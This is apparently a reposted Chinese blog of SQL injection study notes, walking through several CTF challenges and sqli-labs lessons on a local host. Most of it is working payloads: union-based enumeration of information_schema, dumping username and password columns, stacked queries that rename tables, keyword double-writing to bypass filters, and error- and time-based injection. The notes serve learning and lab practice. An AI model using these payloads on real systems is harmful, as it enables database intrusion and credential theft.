0


sql注入学习笔记1

SQL注入分类

sql注入分类

SQL基本注入语句

order by 4 -- -
//判断有多少列
union select 1,2,3 -- -
//判断数据显示点
union select 1,user(),database()­­ -- -
­//显示出登录用户和数据库名
union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),3 -- -
//查看数据库有哪些表
union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users' ),3 -- -
//查看对应表有哪些列
union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3 -- -
//查看账号密码信息

[极客大挑战 2019]EASYSQL

根据提示,用户名就是cl4y,密码试一试万能密码。出现flag

堆叠注入知识汇总

与仅限于SELECT语句的UNION联合查询攻击不同,堆叠注入可以用于执行任何SQL语句

1,[强网杯 2019]随便注

先试试万能密码

再看下字段数,是两列

使用union联合查询检测信息回显位置,发现它过滤了select

学习一波堆叠注入

首先展示所有数据库

没有我们想要的信息,那就展示一下所有的表

查看第一个表的信息

1;desc 1919810931114514;#

注意:在windows系统下,反单引号(`)是数据库、表、索引、列和别名用的引用符

可以看到,flag在表里面,但是select被过滤掉了,我们不能直接查询,可以考虑‘换头

再看看words表

可以看到两个字段数id和data,可以推测网站给的查询语句就是往words里面查的。既然如此,我们把words表换成1919810931114514表,添加一个id,data改成flag。最后用万能密码,就可以出现flag了

1';rename table `words` to `wordd`;            //随便给words起个新名字
rename table `1919810931114514` to`words`;     //狸猫换太子
alter table words add id int(10);              //增加一个id
alter table words change flag data varchar(20);//data改成flag

1';rename table `words` to `wordd`;rename table `1919810931114514` to`words`;alter table words add id int(10);alter table words change flag data varchar(20);#

最后万能密码得到flag

2,[SUCTF 2019]EasySQL

试试1

有回显,那试试2.

还有回显。多试试发现字母没回显,order by 显示nonono,应该是过滤掉了。同样联合查询也滤掉了

试试报错注入,布尔盲注也都被过滤掉了

1 and length(database())>=1#
1' and length(database())>=1#

再试试时间盲注

1 and if(length(database())>=1,1,sleep(5))#

还是不行

堆叠注入

看到了flag

查看表Flag的定义的时候失败了

因为输入1有回显,而输入其他0没有回显,猜测内置的查询语句有||

输入*,1:

因此猜测内置的sql语句为sql="select".sql="select".post[‘query’]."||flag from Flag";

如果$post[‘query’]的数据为,1,sql语句就变成了select *,1||flag from Flag,也就是select *,1 from Flag。

WP

  • 大佬文章
  • 大佬文章
  • 大佬文章

其余例题

[极客大挑战2019]LoveSQL

先试试万能密码

得到了个密码,解密试了MD5和base,解不开

查询字段,发现是三段

1' order by 3#

看一下回显点

1' union select 1,2,3#

查一下数据库

1' union select 1,2,database()#

查询表名

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#

爆字段名

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'#

得到三个子字段

爆数据

1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#

出现flag

[极客大挑战2019]BabySQL(双写绕过)

  • username:1’ #
  • password:1

存在sql注入漏洞

  • username:1' or 1=1#
  • password:1

  • username:1’ order by 2#
  • password:1

  • username:1’ union select 1,2#
  • password:1

select union也没了

发现报错都是部分输入的语句,这说明没报错的语句没了,或者替换掉了,可能用replace函数换成空了。

进一步证实:输入

1' oorr 1=1;

成功,这题考的是双写。(哪个单词没了就双写哪个)

接下来一步步操作

  • 查看字段数(or没有)

1' oorrder bbyy 4#

  • 查看回显点(union select没有)

1' uunionnion sselectelect 1,2,3#

  • 爆库名

1' uunionnion sselectelect 1,2,database()#

  • 爆表名(from,where没有,information的or双写)

1' uunionnion sselectelect 1,2,group_concat(table_name) ffromrom infoorrmation_schema.tables wwherehere table_schema=database()#

  • 爆字段(又多了一个and)

1' uunionnion sselectelect 1,2,group_concat(column_name) ffromrom infoorrmation_schema.columns wwherehere table_schema=database() aandnd table_name='b4bsql'#

  • 报数据

1' uunionnion sselectelect 1,2,group_concat(id,username,password) ffromrom b4bsql#

不知道passwd列,原来我password没双写or

1' uunionnion sselectelect 1,2,group_concat(id,username,passwoorrd) ffromrom b4bsql#

报错注入知识汇总

  • 常用制造报错的函数
extractvalue\updatexml\floor\exp
  • updatexml(),extractvalue(),floor()函数制作报错原理
Updatexml函数的第二个参数应当是填写规范的xpath路径,当用户在这个字段中使用concat函数时,cancat函数会将它所执行的sql查询结果和报错信息进行拼接。这就是updatexml的攻击注入原理
extractvalue函数第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。
floor报错注入准确地说应该是floor,count,group by冲突报错,是当这三个函数在特定情况一起使用产生的错误。
  • updatexml()、extractvalue()、floor() 的payload语法构造

updatexml():id=1’ and updatexml(1,concat(0x7e,(database()),0x7e),1) --+

extractvalue():id=1’ and extractvalue(1,concat(’~’,(select database())))–+

floor():id=1’ and select count(*),(concat(floor(rand(0)*2),(select database())))x from users group by x --+

具体参考这篇文章

和这篇文章

sqli-labs练习

SQL语句六件套

order by 4 -- -
//判断有多少列
union select 1,2,3 -- -
//判断数据显示点
union select 1,user(),database()­­ -- -
­//显示出登录用户和数据库名
?id=0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),3 -- -

?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security'  -- -

//查看数据库有哪些表
union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users' ),3 -- -
//查看对应表有哪些列
union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3 -- -
//查看账号密码信息

页面返回错误,则存在sql注入

Less-1 基于单引号的字符型注入

id=1'有报错,证明有注入点

?id=1' and 1=1 --+

把1=1改成1=2,不报错也不显示任何信息,说明可以利用 ’ 字符注入

推断查询语句

select xxx from "table_name" where id='$_GET[id]'

第一步:判断是否存在报错注入漏洞以及注入类型

住:在网址里面要用 --+或-- -代替#

1.http://127.0.0.1/sqli/Less-1/?id=1' 错误
2.http://127.0.0.1/sqli/Less-1/?id=1 and 1=1 返回正常结果
3.http://127.0.0.1/sqli/Less-1/?id=1 and 1=2 异常这里可以判断是数值型,那么构造数值型注入的payload

1.http://127.0.0.1/sqli/Less-1/?id=1' 错误

2.http://127.0.0.1/sqli/Less-1/?id=1' and 1=1 --+ 正常
3.http://127.0.0.1/sqli/Less-1/?id=1' and 1=2 --+ 异常
从而可以判断此处存在sql注入漏洞,切注入漏洞类型为字符型

sql注入语句六件套来一波~

判断数据显示点 (id一定要改为0或负数)

?id=0' union select 1,2,3 --+

Less-2 布尔型注入

直接在id=1后面加个单引号发现会报错

这个时候可以看见,中间夹着的单引号其实是没有跟我们想象的前面的单引号闭合的,所以,他的查询语句不同于less 1

推断查询语句

select xxx from "table_name" where id=$_GET[id]

万能密码

?id=1 and 1=1 --+

less-3 基于')的字符型注入

?id=1'会报错,然后?id=1''又没有报错(双引号不是两个单引号!!)

可以看到单引号和右括号

传过来的id有限制,有右括号和单引号括着,所以闭合有两点,一个单引号另一个右括号

payload构造 ?id=1') --+ 传过去就可以变成 id = ('1') --+') ,然后后面的都注释掉了,所以都能绕过

查询语句应该是

select xxx from "table_name" where id = ('$_GET["id"]') 

注入语句:

id=1') and 1=1 -- -

方法同上。

less-4 基于")字符型注入

?id=1'正常回显,?id=1"会报错

跟less 3差不多,只是单引号变成了双引号,加上一个右括号

查询语句

select xxx from "table_name" where id = (" $_GET["id"] ")

?id = 1") --+就能绕过闭合

注入语句:

id=1") and 1=1 -- -­

方法同上。

标签: sql

本文转载自: https://blog.csdn.net/qq_61109509/article/details/122780863
版权归原作者 pipasound 所有, 如有侵权,请联系我们删除。

“sql注入学习笔记1”的评论:

还没有评论